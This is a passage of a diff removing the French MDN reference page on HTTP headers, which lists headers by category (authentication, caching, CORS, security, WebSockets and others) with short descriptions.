d'informations au sujet de la ressource à aller chercher ou à propos du client lui-même.</li> - <li>{{Glossary("Response header","En-tête de réponse")}} : en-têtes contenant des informations additionnelles au sujet de la réponse comme son emplacement, ou au sujet du serveur lui-même (nom et version, etc.)</li> - <li>{{Glossary("Entity header","En-tête d'entité")}} : en-têtes contenant plus d'informations au sujet du corps de l'entité comme la longueur de son contenu ou son <a href="/fr/docs/Glossaire/Type_MIME">type MIME</a>.</li> -</ul> - -<p>Les en-têtes peuvent aussi être groupés par la manière dont les {{Glossary("Proxy_server", "serveurs mandataires (proxies)")}} les traitent :</p> - -<ul> - <li>{{httpheader("Connection")}}</li> - <li>{{httpheader("Keep-Alive")}}</li> - <li>{{httpheader("Proxy-Authenticate")}}</li> - <li>{{httpheader("Proxy-Authorization")}}</li> - <li>{{httpheader("TE")}}</li> - <li>{{httpheader("Trailer")}}</li> - <li>{{httpheader("Transfer-Encoding")}}</li> - <li>{{httpheader("Upgrade")}} (voir aussi <a href="/fr/docs/Web/HTTP/Protocol_upgrade_mechanism">mécanisme de mise à jour de protocole</a>)</li> -</ul> - -<dl> - <dt>En-têtes de bout en bout ('End-to-end headers') :</dt> - <dd>Ces entêtes doivent être transmis au destinataire final du message ; c'est-à-dire le serveur dans le cas d'une requête ou le client dans le cas d'une réponse. Les serveurs mandataires intermédiaires doivent retransmettre les en-têtes de bout en bout sans modification et doivent les mettre en cache.</dd> - <dt>En-têtes de point à point ('Hop-by-hop headers') :</dt> - <dd>Ces en-têtes n'ont de sens que pour une unique connexion de la <a class="external" href="https://fr.wikipedia.org/wiki/Couche_transport">couche transport</a> et ne doivent pas être retransmis par des serveurs mandataires ou mis en cache. Il s'agit d'en-têtes tels que: {{httpheader("Connection")}}, {{httpheader("Keep-Alive")}}, {{httpheader("Proxy-Authenticate")}}, {{httpheader("Proxy-Authorization")}}, {{httpheader("TE")}}, {{httpheader("Trailer")}}, {{ httpheader("Transfer-Encoding")}} et {{httpheader("Upgrade")}}. A noter que seuls les en-têtes de point à point peuvent être utilisés avec l'en-tête général {{httpheader("Connection")}}.</dd> -</dl> - -<p>La liste suivante résume les en-têtes HTTP en fonction de leur utilisation. Une liste triée par ordre alphabétique est disponible dans le panneau de navigation à gauche.</p> - -<h2 id="Authentification">Authentification</h2> - -<dl> - <dt>{{HTTPHeader("WWW-Authenticate")}}</dt> - <dd>définit la méthode d'authentification qui doit être utilisée pour obtenir l'accès à la ressource.</dd> - <dt>{{HTTPHeader("Authorization")}}</dt> - <dd>contient les informations d'identification pour authentifier un agent utilisateur avec un serveur.</dd> - <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt> - <dd>définit la méthode d'authentification qui doit être utilisée pour obtenir la ressource derrière un serveur mandataire.</dd> - <dt>{{HTTPHeader("Proxy-Authorization")}}</dt> - <dd>contient les informations d'identification nécessaires pour authentifier un agent utilisateur avec un serveur mandataire.</dd> -</dl> - -<h2 id="Mise_en_cache">Mise en cache</h2> - -<dl> - <dt>{{HTTPHeader("Age")}}</dt> - <dd>la durée en secondes passée par l'objet dans un cache proxy.</dd> - <dt>{{HTTPHeader("Cache-Control")}}</dt> - <dd>spécifie des directives pour les mécanismes de mise en cache dans les requêtes et les réponses.</dd> - <dt>{{HTTPHeader("Clear-Site-Data")}}</dt> - <dd>nettoie les données de navigation (mouchards (<em>cookies</em>), stockage et cache) associé au site demandé.</dd> - <dt>{{HTTPHeader("Expires")}}</dt> - <dd>la date et l'heure après lesquelles la réponse est considérée comme périmée.</dd> - <dt>{{HTTPHeader("Pragma")}}</dt> - <dd>en-tête spécifique à la mise en œuvre pouvant avoir divers effets le long de la chaîne de requête-réponse. Utilisé pour la rétrocompatibilité avec les caches HTTP / 1.0 où l'en-tête <code>Cache-Control</code> n'est pas encore présent.</dd> - <dt>{{HTTPHeader("Warning")}}</dt> - <dd>un champ d'avertissement général contenant des informations sur les problèmes possibles.</dd> -</dl> - -<h2 id="Astuces_client">Astuces client</h2> - -<p>Les {{Glossary("Client_hints", "astuces clients")}} HTTP sont enc cours de création. La documentation actuelle est disponible sur le <a href="https://httpwg.org/http-extensions/client-hints.html">site du groupe de travail sur HTTP</a>.</p> - -<dl> - <dt>{{HTTPHeader("Accept-CH")}} {{experimental_inline}}</dt> - <dd>les serveurs peuvent informer de leur niveau de support pour les Client Hints en utilisant l'en-tête <code>Accept-CH</code> ou en HTML avec l'élément <code><meta></code> ayant l'attribut <code>http-equiv</code> (<a href="https://httpwg.org/http-extensions/client-hints.html#HTML5">[HTML5]</a>).</dd> - <dt>{{HTTPHeader("Accept-CH-Lifetime")}} {{experimental_inline}}</dt> - <dd>les serveurs peuvent demander au client de mémoriser l'ensemble des Client Hints que le serveur supporte pour une période de temps donnée, afin de permettre la livraison de Client Hints sur les requêtes suivantes vers l'origine du serveur (<a href="https://httpwg.org/http-extensions/client-hints.html#RFC6454">[RFC6454]</a>).</dd> - <dt>{{HTTPHeader("Content-DPR")}} {{experimental_inline}}</dt> - <dd>un nombre indiquant le rapport entre le nombre de pixels physiques et le nombre de pixels CSS de l'image réponse sélectionnée.</dd> - <dt>{{HTTPHeader("DPR")}} {{experimental_inline}}</dt> - <dd>un nombre indiquant le Device Pixel Ratio (DPR) actuel du client, qui est le rapport du nombre de pixels physiques sur le nombre de pixels CSS (Section 5.2 of <a href="https://httpwg.org/http-extensions/client-hints.html#CSSVAL">[CSSVAL]</a>) de la zone d'affichage (Section 9.1.1 of <a href="https://httpwg.org/http-extensions/client-hints.html#CSS2">[CSS2]</a>) sur l'appareil.</dd> - <dt>{{HTTPHeader("Device-Memory")}} {{experimental_inline}}</dt> - <dd>faisant techniquement partie de l'API Device Memory, cet en-tête représente la quantité approximative de mémoire vive dont le client dispose.</dd> - <dt>{{HTTPHeader("Early-Data")}} {{experimental_inline}}</dt> - <dd>indique que les requêtes doivent être communiquées en TLS early data.</dd> - <dt>{{HTTPHeader("Save-Data")}} {{experimental_inline}}</dt> - <dd>booléen indiquant les préférences de l'agent utilisateur pour réduire la quantité de données transmises.</dd> - <dt>{{HTTPHeader("Viewport-Width")}} {{experimental_inline}}</dt> - <dd>la largeur de la zone d'affichage, soit le nombre de pixels CSS. La valeur fournise est arrondie au plus grand proche supérieur. Si <code>Viewport-Width</code> apparait dans un message plus d'une fois, la dernière valeur écrase toutes les valeurs précédentes.</dd> - <dt>{{HTTPHeader("Width")}} {{experimental_inline}}</dt> - <dd>l'en-tête de requête <code>Width</code> représente la largeur de la ressource voulue en nombre de pixels physiques. La valeur fournise est arrondie au plus proche entier supérieur. Si la largeur de la ressource voulue est inconnue quand la requête ou la ressource n'a pas de largeur d'affichage, l'en-tête <code>Width</code> peut être omise. Si <code>Width</code> apparait dans un message plus d'une fois, la dernière valeur écrase toutes les valeurs précédentes.</dd> -</dl> - -<h2 id="Conditionnels">Conditionnels</h2> - -<dl> - <dt>{{HTTPHeader("Last-Modified")}}</dt> - <dd>c'est un validateur, la dernière date de modification de la ressource, utilisée pour comparer plusieurs versions de la même ressource. Il est moins précis que {{HTTPHeader("ETag")}}, mais plus facile à calculer dans certains environnements. Les requêtes conditionnelles utilisant {{HTTPHeader("If-Modified-Since")}} et {{HTTPHeader("If-Unmodified-Since")}} utilisent cette valeur pour modifier le comportement de la requête.</dd> - <dt>{{HTTPHeader("ETag")}}</dt> - <dd>c'est un validateur, une chaîne unique identifiant la version de la ressource. Les requêtes conditionnelles utilisant {{HTTPHeader("If-Match")}} et {{HTTPHeader("If-None-Match")}} utilisent cette valeur pour changer le comportement de la requête.</dd> - <dt>{{HTTPHeader("If-Match")}}</dt> - <dd>rend la requête conditionnelle et n'applique la méthode que si la ressource stockée correspond à l'un des ETags donnés.</dd> - <dt>{{HTTPHeader("If-None-Match")}}</dt> - <dd>rend la requête conditionnelle et n'applique la méthode que si la ressource stockée ne correspond à aucun des ETags donnés. Ceci est utilisé pour mettre à jour les caches (pour les requêtes sécurisées), ou pour empêcher de télécharger une nouvelle ressource lorsqu'elle existe déjà.</dd> - <dt>{{HTTPHeader("If-Modified-Since")}}</dt> - <dd>rend la requête conditionnelle et attend que l'entité soit transmise seulement si elle a été modifiée après la date donnée. Ceci est utilisé pour transmettre des données uniquement lorsque le cache est obsolète.</dd> - <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt> - <dd>rend la demande conditionnelle et attend que l'entité soit transmise seulement si elle n'a pas été modifiée après la date donnée. Ceci est utilisé pour assurer la cohérence d'un nouveau fragment d'une plage spécifique avec les précédentes, ou pour implémenter un système de contrôle de concurrence optimiste lors de la modification de documents existants.</dd> - <dt>{{HTTPHeader("Vary")}}</dt> - <dd>détermine comment faire correspondre les futurs en-têtes de demande pour décider si une réponse mise en cache peut être utilisée plutôt que d'en demander une nouvelle au serveur d'origine.</dd> -</dl> - -<h2 id="Gestion_de_connexion">Gestion de connexion</h2> - -<dl> - <dt>{{HTTPHeader("Connection")}}</dt> - <dd>contrôle si la connexion réseau reste ouverte après la fin de la transaction en cours.</dd> - <dt>{{HTTPHeader("Keep-Alive")}}</dt> - <dd>contrôle la durée pendant laquelle une connexion persistante doit rester ouverte.</dd> -</dl> - -<h2 id="Négociation_de_contenu">Négociation de contenu</h2> - -<dl> - <dt>{{HTTPHeader("Accept")}}</dt> - <dd>informe le serveur des types de données pouvant être renvoyés. C'est un type MIME.</dd> - <dt>{{HTTPHeader("Accept-Charset")}}</dt> - <dd>informe le serveur du jeu de caractères que le client peut comprendre.</dd> - <dt>{{HTTPHeader("Accept-Encoding")}}</dt> - <dd>informe le serveur sur l'algorithme de codage, généralement un algorithme de compression, qui peut être utilisé sur la ressource renvoyée.</dd> - <dt>{{HTTPHeader("Accept-Language")}}</dt> - <dd>informe le serveur de la langue que le serveur doit renvoyer. Ceci est un indice et n'est pas nécessairement sous le contrôle total de l'utilisateur : le serveur doit toujours faire attention à ne pas remplacer un choix explicite de l'utilisateur (telle la sélection d'une langue dans une liste déroulante).</dd> -</dl> - -<h2 id="Contrôles">Contrôles</h2> - -<dl> - <dt>{{HTTPHeader("Expect")}}</dt> - <dd>indique ce qui est attendu de la part du serveur afin de pouvoier gérer correctement la requête.</dd> - <dt>{{HTTPHeader("Max-Forwards")}}</dt> - <dd>...</dd> -</dl> - -<h2 id="Cookies">Cookies</h2> - -<dl> - <dt>{{HTTPHeader("Cookie")}}</dt> - <dd>contient les <a href="/fr/docs/HTTP/Cookies">cookies HTTP</a> stockés précédemment envoyés par le serveur à l'aide de l'en-tête {{HTTPHeader("Set-Cookie")}}.</dd> - <dt>{{HTTPHeader("Set-Cookie")}}</dt> - <dd>envoie des cookies du serveur à l'agent utilisateur.</dd> - <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt> - <dd>utilisé pour contenir un cookie HTTP, précédemment envoyé par le serveur avec l'en-tête {{HTTPHeader("Set-Cookie2")}}, mais qui a été rendu obsolète par la spécification. Utilisez {{HTTPHeader("Cookie")}} à la place.</dd> - <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt> - <dd>utilisé pour envoyer des cookies du serveur à l'agent utilisateur, mais a été rendu obsolète par la spécification. Utilisez {{HTTPHeader("Set-Cookie")}} à la place.</dd> -</dl> - -<h2 id="Cross-Origin_Resource_Sharing_CORS"><a href="/fr/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></h2> - -<dl> - <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt> - <dd>indique si la réponse peut être partagée.</dd> - <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt> - <dd>indique si la réponse à la demande peut être exposée lorsque l'indicateur d'informations d'identification est vrai.</dd> - <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt> - <dd>utilisé en réponse à une demande de contrôle en amont pour indiquer quels en-têtes HTTP peuvent être utilisés lors de la requête effective.</dd> - <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt> - <dd>spécifie la ou les méthodes autorisées lors de l'accès à la ressource en réponse à une demande de contrôle en amont.</dd> - <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt> - <dd>indique en-têtes pouvant être exposés dans le cadre de la réponse en listant leurs noms.</dd> - <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt> - <dd>indique la durée pendant laquelle les résultats d'une demande de contrôle en amont peuvent être mis en cache.</dd> - <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt> - <dd>utilisé lors de l'émission d'une demande de contrôle en amont pour indiquer au serveur les en-têtes HTTP qui seront utilisés lors de la requête effective.</dd> - <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt> - <dd>Utilisé lors de l'émission d'une demande de contrôle en amont pour indiquer au serveur la <a href="/fr/docs/Web/HTTP/Methods">méthode HTTP</a> à utiliser lors de la requête.</dd> - <dt>{{HTTPHeader("Origin")}}</dt> - <dd>indique l'origine d'une consultation.</dd> - <dt>{{HTTPHeader("Timing-Allow-Origin")}}</dt> - <dd>spécifie les origines autorisées à voir les valeurs des attributs récupérés via les fonctionnalités de l'<a href="/fr/docs/Web/API/Resource_Timing_API">API Resource Timing</a>, qui seraient autrement signalées comme étant zéro en raison des restrictions d'origines croisées.</dd> -</dl> - -<h2 id="Ne_pas_suivre">Ne pas suivre</h2> - -<dl> - <dt>{{HTTPHeader("DNT")}}</dt> - <dd>utilisé pour exprimer la préférence de suivi de l'utilisateur.</dd> - <dt>{{HTTPHeader("Tk")}}</dt> - <dd>indique l'état de suivi appliqué à la demande correspondante.</dd> -</dl> - -<h2 id="Téléchargements">Téléchargements</h2> - -<dl> - <dt>{{HTTPHeader("Content-Disposition")}}</dt> - <dd>est un en-tête de réponse si la ressource transmise doit être affichée en ligne (comportement par défaut lorsque l'en-tête n'est pas présent), ou doit être traitée comme un téléchargement et le navigateur doit présenter une fenêtre "Enregistrer sous".</dd> -</dl> - -<h2 id="Informations_sur_le_corps_du_message">Informations sur le corps du message</h2> - -<dl> - <dt>{{HTTPHeader("Content-Length")}}</dt> - <dd>indique la taille du corps d'entité, en nombre décimal d'octets, envoyée au destinataire.</dd> - <dt>{{HTTPHeader("Content-Type")}}</dt> - <dd>indique le type de média de la ressource.</dd> - <dt>{{HTTPHeader("Content-Encoding")}}</dt> - <dd>utilisé pour spécifier l'algorithme de compression.</dd> - <dt>{{HTTPHeader("Content-Language")}}</dt> - <dd>décrit la (les) langue(s) destinée(s) à l'audience, de sorte qu'elle permette à l'utilisateur de se différencier en fonction de la langue préférée de l'utilisateur.</dd> - <dt>{{HTTPHeader("Content-Location")}}</dt> - <dd>indique un emplacement pour les données renvoyées.</dd> -</dl> - -<h2 id="Proxies">Proxies</h2> - -<dl> - <dt>{{HTTPHeader("Forwarded")}}</dt> - <dd>contient des informations du côté client des serveurs proxy qui sont modifiées ou perdues lorsqu'un proxy est impliqué dans le chemin de la requête.</dd> - <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt> - <dd>identifie les adresses IP d'origine d'un client se connectant à un serveur Web via un proxy HTTP ou un répartiteur de charge.</dd> - <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt> - <dd>identifie l'hôte d'origine demandé à un client pour se connecter à votre proxy ou à votre équilibreur de charge.</dd> - <dt>{{HTTPHeader("X-Forwarded-Proto")}} {{non-standard_inline}}</dt> - <dd>identifie le protocole (HTTP ou HTTPS) utilisé par un client pour se connecter à votre proxy ou votre équilibreur de charge.</dd> - <dt>{{HTTPHeader("Via")}}</dt> - <dd>ajoutés par des proxies, directs et inverses, et peuvent apparaître dans les en-têtes de requête et les en-têtes de réponse.</dd> -</dl> - -<h2 id="Redirection">Redirection</h2> - -<dl> - <dt>{{HTTPHeader("Location")}}</dt> - <dd>indique l'URL de la page de redirection.</dd> -</dl> - -<h2 id="Contexte_de_requête">Contexte de requête</h2> - -<dl> - <dt>{{HTTPHeader("From")}}</dt> - <dd>contient une adresse électronique Internet pour un utilisateur humain qui contrôle l'agent utilisateur demandeur.</dd> - <dt>{{HTTPHeader("Host")}}</dt> - <dd>indique le nom de domaine du serveur (pour l'hébergement virtuel) et (facultativement) le numéro de port TCP sur lequel le serveur écoute.</dd> - <dt>{{HTTPHeader("Referer")}}</dt> - <dd>L'adresse de la page Web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi.</dd> - <dt>{{HTTPHeader("Referrer-Policy")}}</dt> - <dd>indique quelles informations de provenance envoyées dans l'en-tête {{HTTPHeader("Referer")}} doivent être incluses dans les requêtes effectuées.</dd> - <dt>{{HTTPHeader("User-Agent")}}</dt> - <dd>contient une chaîne caractéristique qui permet aux homologues du protocole réseau d'identifier le type d'application, le système d'exploitation, le fournisseur du logiciel ou la version du logiciel de l'agent utilisateur du logiciel demandeur. Voir aussi <a href="/fr/docs/HTTP/Gecko_user_agent_string_reference">la référence de chaîne de l'agent utilisateur Firefox</a>.</dd> -</dl> - -<h2 id="Contexte_de_réponse">Contexte de réponse</h2> - -<dl> - <dt>{{HTTPHeader("Allow")}}</dt> - <dd>répertorie l'ensemble des méthodes de requête HTTP prises en charge par une ressource.</dd> - <dt>{{HTTPHeader("Server")}}</dt> - <dd>contient des informations sur le logiciel utilisé par le serveur d'origine pour gérer la demande.</dd> -</dl> - -<h2 id="Demandes_de_plage">Demandes de plage</h2> - -<dl> - <dt>{{HTTPHeader("Accept-Ranges")}}</dt> - <dd>indique si le serveur prend en charge les demandes de plage et, le cas échéant, dans quelle unité la plage peut être exprimée.</dd> - <dt>{{HTTPHeader("Range")}}</dt> - <dd>indique la partie d'un document que le serveur doit renvoyer.</dd> - <dt>{{HTTPHeader("If-Range")}}</dt> - <dd>crée une requête de plage conditionnelle qui n'est remplie que si l'étiquette et la date correspondent à la ressource distante. Utilisé pour empêcher le téléchargement de deux plages à partir d'une version incompatible de la ressource.</dd> - <dt>{{HTTPHeader("Content-Range")}}</dt> - <dd>situe une partie de message à l'intérieur du corps d'un message entier.</dd> -</dl> - -<h2 id="Sécurité">Sécurité</h2> - -<dl> - <dt>{{HTTPHeader("Cross-Origin-Embedder-Policy")}} ({{Glossary("COEP")}})</dt> - <dd>autorise un serveur à déclarer une règlementation sur les contenus embarqués pour un document donné.</dd> -</dl> - -<dl> - <dt>{{HTTPHeader("Cross-Origin-Opener-Policy")}} ({{Glossary("COOP")}})</dt> - <dd>interdit les autres domaines d'ouvrir ou de contrôler une fenêtre.</dd> -</dl> - -<dl> - <dt>{{HTTPHeader("Cross-Origin-Resource-Policy")}} ({{Glossary("CORP")}})</dt> - <dd>interdit les autre domaines de lire la réponse des ressources si cet en-tête leur est appliqué.</dd> -</dl> - -<dl> - <dt>{{HTTPHeader("Content-Security-Policy")}} ({{Glossary("CSP")}})</dt> - <dd>contrôle les ressources que l'agent utilisateur est autorisé à charger pour une page donnée.</dd> - <dt>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</dt> - <dd>permet aux développeurs web d'expérimenter des stratégies en surveillant (mais non en appliquant) leurs effets. Ces rapports de violation sont constitués de documents {{Glossary("JSON")}} envoyés via une requête HTTP <code>POST</code> à l'URI spécifié.</dd> - <dt>{{HTTPHeader("Expect-CT")}}</dt> - <dd>permet aux sites de contrôler de manière stricte ou non l'adhérence aux règles de transparence des certificats, permettant ainsi de limiter les utilisations frauduleuses du certificat associé au site grâce à une vérification publique.</dd> - <dt>{{HTTPHeader("Feature-Policy")}}</dt> - <dd>permet d'autoriser ou d'interdire l'utilisation de fonctionnalités du navigateur dans son propre cadre et dans les cadres embarqués.</dd> - <dt>{{HTTPHeader("Origin-Isolation")}} {{experimental_inline}}</dt> - <dd>permet aux application web d'isoler leurs origines.</dd> - <dt>{{HTTPHeader("Strict-Transport-Security")}} ({{Glossary("HSTS")}})</dt> - <dd>force la communication en utilisant HTTPS au lieu de HTTP.</dd> - <dt>{{HTTPHeader("Upgrade-Insecure-Requests")}}</dt> - <dd>envoie un signal au serveur exprimant la préférence du client pour une réponse chiffrée et authentifiée, et qu'il peut gérer avec succès la directive {{CSP("upgrade-insecure-requests")}}.</dd> - <dt>{{HTTPHeader("X-Content-Type-Options")}}</dt> - <dd>désactive le repérage MIME et force le navigateur à utiliser le type donné dans {{HTTPHeader("Content-Type")}}.</dd> - <dt>{{HTTPHeader("X-Download-Options")}}</dt> - <dd>indique que le navigateur (Internet Explorer uniquement) ne doit pas affiche l'option permettant d'ouvrir un fichier qui a été téléchargé depuis une application, pour empêcher les attaques par hameçonnage puisque le fichier pourrait autrement obtenir le droit de s'exécuter dans le contexte de l'application. Note : voir le <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/18488178/">bogue MS Edge</a> associé.</dd> - <dt>{{HTTPHeader("X-Frame-Options")}} (XFO)</dt> - <dd>indique si un navigateur doit être autorisé à afficher une page dans un {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} ou {{HTMLElement("object")}}.</dd> - <dt>{{HTTPHeader("X-Permitted-Cross-Domain-Policies")}}</dt> - <dd>Sépcifie si un fichier de règlementation interdomaines (<code>crossdomain.xml</code>) est autorisé. Ce fichier peut définir une règle pour accorder aux clients (comme Adobe Flash Player, Adobe Acrobat, Microsoft Silverlight ou Apache Flex) la permission de gérer des données entre domaines qui seraient autrement restreintes à cause de <a href="/fr/docs/Web/Security/Same-origin_policy">Same-Origin Policy</a>. Voir la <a href="https://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html">spécification Cross-domain Policy File</a> pour plus d'informations.</dd> - <dt>{{HTTPHeader("X-Powered-By")}}</dt> - <dd>peut être défini par l'environnement hôte ou par d'autres cadriciels, il contient des informations sur eux sans fournir aucun information utile à l'application ni aux visiteurs. Désactivez cet en-tête pour éviter d'exposer des informations et des vulnérabilités potentielles.</dd> - <dt>{{HTTPHeader("X-XSS-Protection")}}</dt> - <dd>active le filtrage de script intersite.</dd> -</dl> - -<h3 id="HTTP_Public_Key_Pinning_GlossaryHPKP">HTTP Public Key Pinning {{Glossary("HPKP")}}</h3> - -<p>HTTP Public Key Pinning a été déprécié et supprimé au profit de Certificate Transparency et {{HTTPHeader("Expect-CT")}}.</p> - -<dl> - <dt>{{HTTPHeader("Public-Key-Pins")}}</dt> - <dd>associe une clé publique cryptographique spécifique à un certain serveur web pour réduire le risque d'attaques {{Glossary("MitM")}} à l'aide de certificats falsifiés.</dd> - <dt>{{HTTPHeader("Public-Key-Pins-Report-Only")}}</dt> - <dd>envoie des rapports au <em>report-uri</em> spécifié dans l'en-tête et permet toujours aux clients de se connecter au serveur même si l'association à la clé cryptographique est violée.</dd> -</dl> - -<h3 id="En-têtes_de_requêtes_de_métadonnées">En-têtes de requêtes de métadonnées</h3> - -<dl> - <dt>{{HTTPHeader("Sec-Fetch-Site")}}</dt> - <dd>en-tête de requête indiquant la relation entre l'origine ayant initiée la requête et l'origine cible ; c'est un en-tête srtucutré dont la valeur peut être <code>cross-site</code>, <code>same-origin</code>, <code>same-site</code> ou <code>none</code>.</dd> - <dt>{{HTTPHeader("Sec-Fetch-Mode")}}</dt> - <dd>en-tête de requête indiquant le mode de requête à un serveur ; c'est un en-tête structuré dont la valeur peut être <code>cors</code>, <code>navigate</code>, <code>nested-navigate</code>, <code>no-cors</code>, <code>same-origin</code> ou <code>websocket</code>.</dd> - <dt>{{HTTPHeader("Sec-Fetch-User")}}</dt> - <dd>en-tête de requête indiquant si une requête de navigation a été déclenchée ou non par une action de l'utilisateur ; c'est un en-tête structuré dont la valeur est un booléen, soit <code>?0</code> ou pour faux et <code>?1</code> pour vrai.</dd> - <dt>{{HTTPHeader("Sec-Fetch-Dest")}}</dt> - <dd>en-tête de requête indiquant la destination de la requête à un serveur ; c'est un en-tête structuré dont la valeur peut être <code>audio</code>, <code>audioworklet</code>, <code>document</code>, <code>embed</code>, <code>empty</code>, <code>font</code>, <code>image</code>, <code>manifest</code>, <code>object</code>, <code>paintworklet</code>, <code>report</code>, <code>script</code>, <code>serviceworker</code>, <code>sharedworker</code>, <code>style</code>, <code>track</code>, <code>video</code>, <code>worker</code>, <code>xslt</code> ou <code>nested-document</code>.</dd> -</dl> - -<h2 id="Évènements_envoyés_par_le_serveur">Évènements envoyés par le serveur</h2> - -<dl> - <dt>{{HTTPHeader("Last-Event-ID")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("NEL")}} {{experimental_inline}}</dt> - <dd>permet aux développeurs de déclarer une règlementation de rapportage d'erreur réseau.</dd> - <dt>{{HTTPHeader("Ping-From")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Ping-To")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Report-To")}}</dt> - <dd>utilisé pour spécifier un serveur de destination pour que le navigateur puisse y envoyer des rapports d'avertissements ou d'erreurs.</dd> -</dl> - -<h2 id="Codage_de_transfert">Codage de transfert</h2> - -<dl> - <dt>{{HTTPHeader("Transfer-Encoding")}}</dt> - <dd>spécifie la forme de codage utilisée pour transférer en toute sécurité l'entité à l'utilisateur.</dd> - <dt>{{HTTPHeader("TE")}}</dt> - <dd>spécifie les encodages de transfert que l'agent utilisateur est prêt à accepter.</dd> - <dt>{{HTTPHeader("Trailer")}}</dt> - <dd>permet à l'expéditeur d'inclure des champs supplémentaires à la fin du message segmenté.</dd> -</dl> - -<h2 id="WebSockets">WebSockets</h2> - -<dl> - <dt>{{HTTPHeader("Sec-WebSocket-Key")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Sec-WebSocket-Extensions")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Sec-WebSocket-Accept")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Sec-WebSocket-Protocol")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Sec-WebSocket-Version")}}</dt> - <dd>...</dd> -</dl> - -<h2 id="Autres">Autres</h2> - -<dl> - <dt>{{HTTPHeader("Accept-Push-Policy")}} {{experimental_inline}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Accept-Signature")}} {{experimental_inline}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Alt-Svc")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Date")}}</dt> - <dd>contient la date et l'heure à laquelle le message a été généré.</dd> - <dt>{{HTTPHeader("Large-Allocation")}}</dt> - <dd>indique au navigateur que la page en cours de chargement souhaite effectuer une allocation importante.</dd> - <dt>{{HTTPHeader("Link")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Push-Policy")}} {{experimental_inline}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Retry-After")}}</dt> - <dd>indique combien de temps l'agent utilisateur doit attendre avant de faire une autre demande consécutive.</dd> - <dt>{{HTTPHeader("Signature")}} {{experimental_inline}}</dt> - <dd>communique une liste de signatures pour un échange, chacune accompagnée d'informations sur la manière de déterminer son autorité et de rafraichir cette signature.</dd> - <dt>{{HTTPHeader("Signed-Headers")}} {{experimental_inline}}</dt> - <dd>identifie une liste ordonnée de champs d'en-tête de réponse à inclure dans une signature.</dd> - <dt>{{HTTPHeader("Server-Timing")}}</dt> - <dd>communique un ou plusieurs indicateurs et descriptions pour le cycle requête-réponse donné.</dd> - <dt>{{HTTPHeader("Service-Worker-Allowed")}}</dt> - <dd>utilisé pour supprimer la <a href="https://w3c.github.io/ServiceWorker/#path-restriction">restriction de chemin</a> en incluant cet en-tête <a href="https://w3c.github.io/ServiceWorker/#service-worker-script-response">dans la réponse d'un script Service Worker</a>.</dd> - <dt>{{HTTPHeader("SourceMap")}}</dt> - <dd>liens ayant généré du code sur une <a href="/fr/docs/Outils/D%C3%A9bogueur/Comment/Utiliser_une_source_map">source</a>.</dd> - <dt>{{HTTPHeader("Upgrade")}}</dt> - <dd>le document RFC associé pour le <a href="https://tools.ietf.org/html/rfc7230#section-6.7">champ d'en-tête Upgrade est RFC 7230, section 6.7</a>. Le standard établit des règles pour la mise à niveau ou la modification d'un protocole différent sur le client, le serveur et la connexion au protocole de transport actuels. Par exemple, cette norme d'en-tête permet à un client de passer de HTTP 1.1 à HTTP 2.0, en supposant que le serveur décide de reconnaître et d'implémenter le champ d'en-tête Upgrade. Une requête de ce type ne peut etre contraignante et le serveur peut répondre en utilisant le protocole initial. Il peut être utilisé dans les en-têtes client et serveur. Si le champ d'en-tête Upgrade est spécifié, l'expéditeur DOIT également envoyer le champ d'en-tête Connection avec l'option de mise à niveau spécifiée. Pour plus de détails sur le <a href="https://tools.ietf.org/html/rfc7230#section-6.1">champ d'en-tête Connection, veuillez vous reporter à la section 6.1 du RFC susmentionné</a>.</dd> - <dt>{{HTTPHeader("X-DNS-Prefetch-Control")}}</dt> - <dd>contrôle le préchargement DNS, fonctionnalité par laquelle les navigateurs effectuent de manière proactive la résolution du nom de domaine sur les deux liens que l'utilisateur peut choisir de suivre ainsi que les URL des éléments référencés par le document, y compris les images, CSS, JavaScript, etc.</dd> - <dt>{{HTTPHeader("X-Firefox-Spdy")}} {{deprecated_inline}} {{non-standard_inline}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("X-Pingback")}} {{non-standard_inline}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("X-Requested-With")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("X-Robots-Tag")}} {{non-standard_inline}}</dt> - <dd>indique comment une page doit être indexée dans les résultats publics des moteurs de recherche ; cet en-tête est équivalent à <code><meta name="robots" content="..."></code></dd> - <dt>{{HTTPHeader("X-UA-Compatible")}} {{non-standard_inline}}</dt> - <dd>Utilisé par Internet Explorer pour signaler quel mode de document utiliser.</dd> -</dl> - -<h2 id="Contribuer">Contribuer</h2> - -<p>Vous pouvez contribuer en <a href="/fr/docs/MDN/Contribute/Howto/Document_an_HTTP_header">ajoutant un nouvel en-tête à la liste</a> ou en améliorant la documentation existante.</p> - -<h2 